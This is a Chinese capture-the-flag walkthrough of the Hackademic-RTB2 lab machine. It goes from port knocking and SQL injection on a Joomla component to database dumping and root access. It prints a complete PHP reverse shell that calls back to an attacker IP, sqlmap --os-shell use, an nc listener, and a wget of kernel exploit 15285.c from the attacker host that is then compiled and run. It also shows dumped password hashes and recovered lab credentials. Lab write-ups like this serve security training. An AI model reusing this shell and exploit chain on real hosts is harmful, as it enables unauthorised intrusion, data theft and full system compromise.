Hackadmin-RTB-2 WP记录
信息搜集永远的第一步不知道666是个什么东西可以访问一下无法访问dirsearch扫下目录依次访问一下看看有没有交互点开始找漏洞扫一下有没有注入点没扫出来并且扫phpmyadmin也没有扫出来虽然目前的两个页面可交互的地方都没有办法通过sql注入进行脱库但是用nmap扫出来的端口也没有别的服务所以还是得从两个可交互页面入手。尝试万能密码登入成功但是仍然没有交互点我们查看下源码发现了奇怪的东西复制问下aiURL 编码数据解码分析一、数据解码这是URL 编码Percent-encoding的数据让我解码第一部分解码text%33%63%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%33%65%20%30%64%20%30%61解码后text ---------- \r \n即 ---------- 后跟回车换行第二部分重复的十六进制数据text%34%62%20%36%65%20%36%66%20%36%33%20%36%62%20%32%30%20%34%62%20%36%65%20%36%66%20%36%33%20%36%62%20%32%30%20%34%62%20%36%65%20%36%66%20%36%33%20%36%62%20%36%39%20%36%65%20%32%37%20%32%30%20%36%66%20%36%65%20%32%30%20%36%38%20%36%35%20%36%31%20%37%36%20%36%35%20%36%65%20%32%37%20%37%33%20%32%30%20%36%34%20%36%66%20%36%66%20%37%32%20%32%30%20%32%65%20%32%65%20%32%30%20%33%61%20%32%39这些是 ASCII 十六进制值解码后textK n o c k K n o c k K n o c k i n o n h e a v e n s d o o r . . :)我们可以让ai给生成一个解码的脚本#!/usr/bin/env python3 # -*- coding: utf-8 -*- URL编码/十六进制/二进制多层解码脚本 用于解码渗透测试中发现的隐藏信息 import re import binascii import sys def hex_to_ascii(hex_str): 十六进制字符串转ASCII try: # 移除空格和换行 clean_hex re.sub(r[\s\n], , hex_str) hex_bytes bytes.fromhex(clean_hex) return hex_bytes.decode(utf-8, errorsignore) except Exception as e: return f[十六进制解码失败: {e}] def binary_to_ascii(binary_str): 二进制字符串转ASCII try: # 移除空格只保留0和1 clean_binary re.sub(r[^01], , binary_str) result for i in range(0, len(clean_binary), 8): if i 8 len(clean_binary): byte clean_binary[i:i 8] result chr(int(byte, 2)) return result except Exception as e: return f[二进制解码失败: {e}] def url_decode(data): URL解码 try: import urllib.parse return urllib.parse.unquote(data) except: return data def base64_decode(data): Base64解码 try: import base64 return base64.b64decode(data).decode(utf-8, errorsignore) except: return None def decode_hex_sequence(text): 提取并解码文本中的十六进制序列 hex_pattern re.findall(r[0-9A-Fa-f]{2}(?:\s[0-9A-Fa-f]{2})*, text) results [] for hex_seq in hex_pattern: if len(hex_seq.replace( , )) 2: decoded hex_to_ascii(hex_seq) if decoded and not all(c in 0123456789abcdefABCDEF \n\r\t for c in decoded): results.append((hex_seq[:50], decoded[:200])) return results def decode_binary_sequence(text): 提取并解码文本中的二进制序列 binary_pattern re.findall(r[01]{8}(?:\s[01]{8})*, text) results [] for binary_seq in binary_pattern: if len(binary_seq.replace( , )) 8: decoded binary_to_ascii(binary_seq) if decoded and not all(c in 01 \n\r\t for c in decoded): results.append((binary_seq[:50], decoded[:200])) return results def main(): 主函数 # 你的原始数据 original_data %33%63%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%33%65%20%30%64%20%30%61%20%34%62%20%36%65%20%36%66%20%36%33%20%36%62%20%32%30%20%34%62%20%36%65%20%36%66%20%36%33%20%36%62%20%32%30%20%34%62%20%36%65%20%36%66%20%36%33%20%36%62%20%36%39%20%36%65%20%32%37%20%32%30%20%36%66%20%36%65%20%32%30%20%36%38%20%36%35%20%36%31%20%37%36%20%36%35%20%36%65%20%32%37%20%37%33%20%32%30%20%36%34%20%36%66%20%36%66%20%37%32%20%32%30%20%32%65%20%32%65%20%32%30%20%33%61%20%32%39%20%30%64%20%30%61%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%31%20%33%30%20%33%31%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%31%20%33%30%20%33%31%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%31%20%33%30%20%33%31%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%30%64%20%30%61%20%33%63%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%33%65%0A print( * 70) print( 多层编码解码工具) print( * 70) # 第1层URL解码 print(\n[第1层] URL解码...) layer1 url_decode(original_data) print(f结果: {layer1[:200]}...) print() # 第2层十六进制转ASCII print([第2层] 十六进制转ASCII...) layer2 hex_to_ascii(layer1) print(f结果:\n{layer2}) print() # 第3层提取二进制数据 print([第3层] 提取二进制数据...) binary_pattern re.findall(r[01]{8}(?:\s[01]{8})*, layer2) if binary_pattern: print(f找到 {len(binary_pattern)} 组二进制数据) all_binary .join(binary_pattern) print(f二进制数据: {all_binary[:100]}...) # 转换为ASCII layer3 binary_to_ascii(all_binary) print(f\n二进制解码结果: {layer3}) # 第4层如果是十六进制继续解码 if layer3 and all(c in 0123456789abcdefABCDEF \n\r\t for c in layer3[:100]): print(\n[第4层] 检测到十六进制继续解码...) layer4 hex_to_ascii(layer3) print(f结果: {layer4}) # 第5层可能又是二进制 binary_in_hex re.findall(r[01]{8}, layer4) if binary_in_hex: print(\n[第5层] 检测到二进制继续解码...) layer5 binary_to_ascii( .join(binary_in_hex)) print(f结果: {layer5}) # 第6层可能是Base64 if layer5 and len(layer5) 10: b64_result base64_decode(layer5) if b64_result: print(\n[第6层] Base64解码:) print(f结果: {b64_result}) # 额外提取所有十六进制序列 print(\n * 70) print(额外提取的十六进制序列:) print( * 70) hex_results decode_hex_sequence(layer2) for hex_seq, decoded in hex_results: print(f\n十六进制: {hex_seq}...) print(f解码: {decoded}) print(\n * 70) print(解码完成) print( * 70) if __name__ __main__: main()解码之后得到了这么一组数据结合之前的knockknock可以推断一下这里用的是端口敲门端口敲门Port Knocking详解端口敲门是一种网络安全技术通过向服务器的一系列特定端口发送预定义的连接尝试序列来“敲门”触发防火墙规则动态开放访问权限。可以理解为一种秘密敲门暗号——只有知道正确“敲门顺序”的人才能打开服务端口。 工作原理核心概念敲门序列预定义的端口连接顺序如 1000→2000→3000防火墙规则初始状态关闭所有服务端口如 SSH触发机制防火墙监控连接日志检测到正确序列后动态开放端口工作流程text1. 客户端按顺序连接指定端口1000 → 2000 → 3000 2. 服务器防火墙检测到序列匹配 3. 防火墙添加临时规则开放 SSH 端口如 22 4. 客户端在短时间内建立 SSH 连接 5. 连接结束后端口自动关闭 端口敲门 vs 单包授权特性端口敲门 (Port Knocking)单包授权 (SPA)原理多个端口连接序列单个加密数据包安全性序列可被嗅探加密防重放隐蔽性端口连接可被看到UDP 包不可见实现复杂度简单较复杂典型工具knockdfwknop 实际配置示例1.使用 knockd 实现端口敲门服务端配置/etc/knockd.confini[options] logfile /var/log/knockd.log [openSSH] sequence 7000,8000,9000 # 敲门序列 seq_timeout 5 # 5秒内完成序列 command /sbin/iptables -A INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags syn [closeSSH] sequence 9000,8000,7000 # 关闭序列反向 seq_timeout 5 command /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags syn客户端敲门bash# 发送敲门序列 knock -v target-server.com 7000 8000 9000 # 然后正常 SSH 连接 ssh usertarget-server.com2.使用 iptables 脚本实现自定义敲门脚本bash#!/bin/bash # 发送敲门信号 for port in 1000 2000 3000; do nc -z -w 1 $1 $port sleep 0.5 done 安全优势优势说明减少攻击面服务端口默认关闭端口扫描无法发现防止暴力破解攻击者不知道敲门序列无法访问服务动态访问控制按需开放使用后自动关闭防御 0day 漏洞即使服务有漏洞未授权也无法访问隐蔽性无开放端口降低被发现的概率⚠️ 局限性问题说明序列可嗅探敲门序列在网络中明文传输可被抓包截获重放攻击攻击者可重放捕获的序列绕过防护DoS 风险序列冲突或误触发可能导致服务不可用性能开销每次连接前需要额外敲门步骤单点依赖防火墙规则生效依赖服务正常运行那么接下来我们要尝试使用端口敲门去打开666端口再次用nmap扫描可以看见此时的666端口已经打开再次访问666端口怀疑这里有sql注入点好吧并没有我们只能找找有没有其他的交互点点击list可以看见url有非常明显的变化怀疑有sql注入好的这回是真有脱数据脱库当前数据库是joomla脱joomla中的表脱数据joomla-jos_usersIDGID用户名邮箱用户类型注册时间最后登录6225Administratoradminhackademirtb2.comSuper Administrator2011-01-17 19:31:212011-01-22 16:38:496318JSmithJSmithhackademicrtb.comRegistered2011-01-22 10:17:302011-01-25 15:02:136418BTallorBTallorhackademic.comRegistered2011-01-22 10:18:060000-00-00 00:00:00JSmith -matrixBTallor -victim脱mysql中的表爆数据mysql-userHostUser密码哈希权限用途localhostroot*5D3C124406BF85494067182754131FF4DAB9C6C7全部权限(Y)MySQL root 账户HackademicRTB2root*5D3C124406BF85494067182754131FF4DAB9C6C7全部权限(Y)主机名绑定的 root127.0.0.1root*5D3C124406BF85494067182754131FF4DAB9C6C7全部权限(Y)本地 rootlocalhostdebian-sys-maint*F36E6519B0B1D62AA2D5346EFAD66D1CAF248996全部权限(Y)Debian 系统维护用户localhostphpmyadmin*5D3C124406BF85494067182754131FF4DAB9C6C7无权限(N)phpMyAdmin 专用用户但是很遗憾这些密码没办法解开getshell用sqlmap拿到shell sqlmap -u http://10.10.10.134:666/index.php?optioncom_abcviewabcletterListofcontentitems...Itemid3 --batch --os-shell 查看文件得到密码用户: root密码: yUtJklM97W数据库: joomla主机: localhost但是os-shell很不稳定好难用的一个功能所以我们尝试更换为反弹shell反弹shell?php set_time_limit (0); $VERSION 1.0; $ip 10.10.10.128; // CHANGE THIS $port 6666; // CHANGE THIS $chunk_size 1400; $write_a null; $error_a null; $shell uname -a; w; id; /bin/sh -i; $daemon 0; $debug 0; if (function_exists(pcntl_fork)) { $pid pcntl_fork(); if ($pid -1) { printit(ERROR: Cant fork); exit(1); } if ($pid) { exit(0); // Parent exits } if (posix_setsid() -1) { printit(Error: Cant setsid()); exit(1); } $daemon 1; } else { printit(WARNING: Failed to daemonise. This is quite common and not fatal.); } chdir(/); umask(0); $sock fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit($errstr ($errno)); exit(1); } $descriptorspec array( 0 array(pipe, r), 1 array(pipe, w), 2 array(pipe, w) ); $process proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit(ERROR: Cant spawn shell); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit(Successfully opened reverse shell to $ip:$port); while (1) { if (feof($sock)) { printit(ERROR: Shell connection terminated); break; } if (feof($pipes[1])) { printit(ERROR: Shell process terminated); break; } $read_a array($sock, $pipes[1], $pipes[2]); $num_changed_sockets stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit(SOCK READ); $input fread($sock, $chunk_size); if ($debug) printit(SOCK: $input); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit(STDOUT READ); $input fread($pipes[1], $chunk_size); if ($debug) printit(STDOUT: $input); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit(STDERR READ); $input fread($pipes[2], $chunk_size); if ($debug) printit(STDERR: $input); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print $string\n; } } ?首先再开一个命令页称呼它为kali当前有os-shell的称呼为靶机先在kali上开启http服务python3 -m http.server 8000再在靶机上去下载shell.php因为os-shell不稳定所以命令没有成功大家要多试试查看靶机上有没有shell.phpcat shell.php上传成功后在kali上开始监听nc -lvnp 6666再去访问shell.php给shell升级一下python -c import pty; pty.spawn(/bin/bash)内核提权先查看一下当前靶机内核版本这里可以用脏牛但是这次我打算用历史漏洞来突破bash./linux-exploit-suggester-2.pl -k 2.6.32 | grep 15285这个命令的作用linux-exploit-suggester-2.pl是一个自动检测提权漏洞的工具-k 2.6.32指定内核版本| grep 15285过滤出 exploit 15285Source: http://www.exploit-db.com/exploits/1528515285.c是CVE-2010-3904的 exploit漏洞名称Linux Kernel 2.6.x (RDS协议) 本地提权影响版本内核 2.6.30 - 2.6.36你的内核 2.6.32 正好在受影响范围内在这里打开http服务切换至之前由反弹shell监听的界面首先切换至可写目录cd /tmp再去下载15285.c这个文件 wget http://10.10.10.128:8000/15285.c查看文件是否下载成功ls -la 15285.c编译这个文件gcc 15285.c -o exploit运行这个文件./exploit此时可以看见提权成功漏洞补充用之前得到的root-yUtJklM97W可以成功登入用JSmith -matrix可以成功登入新人小白如果写的不好还请见谅
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2442283.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!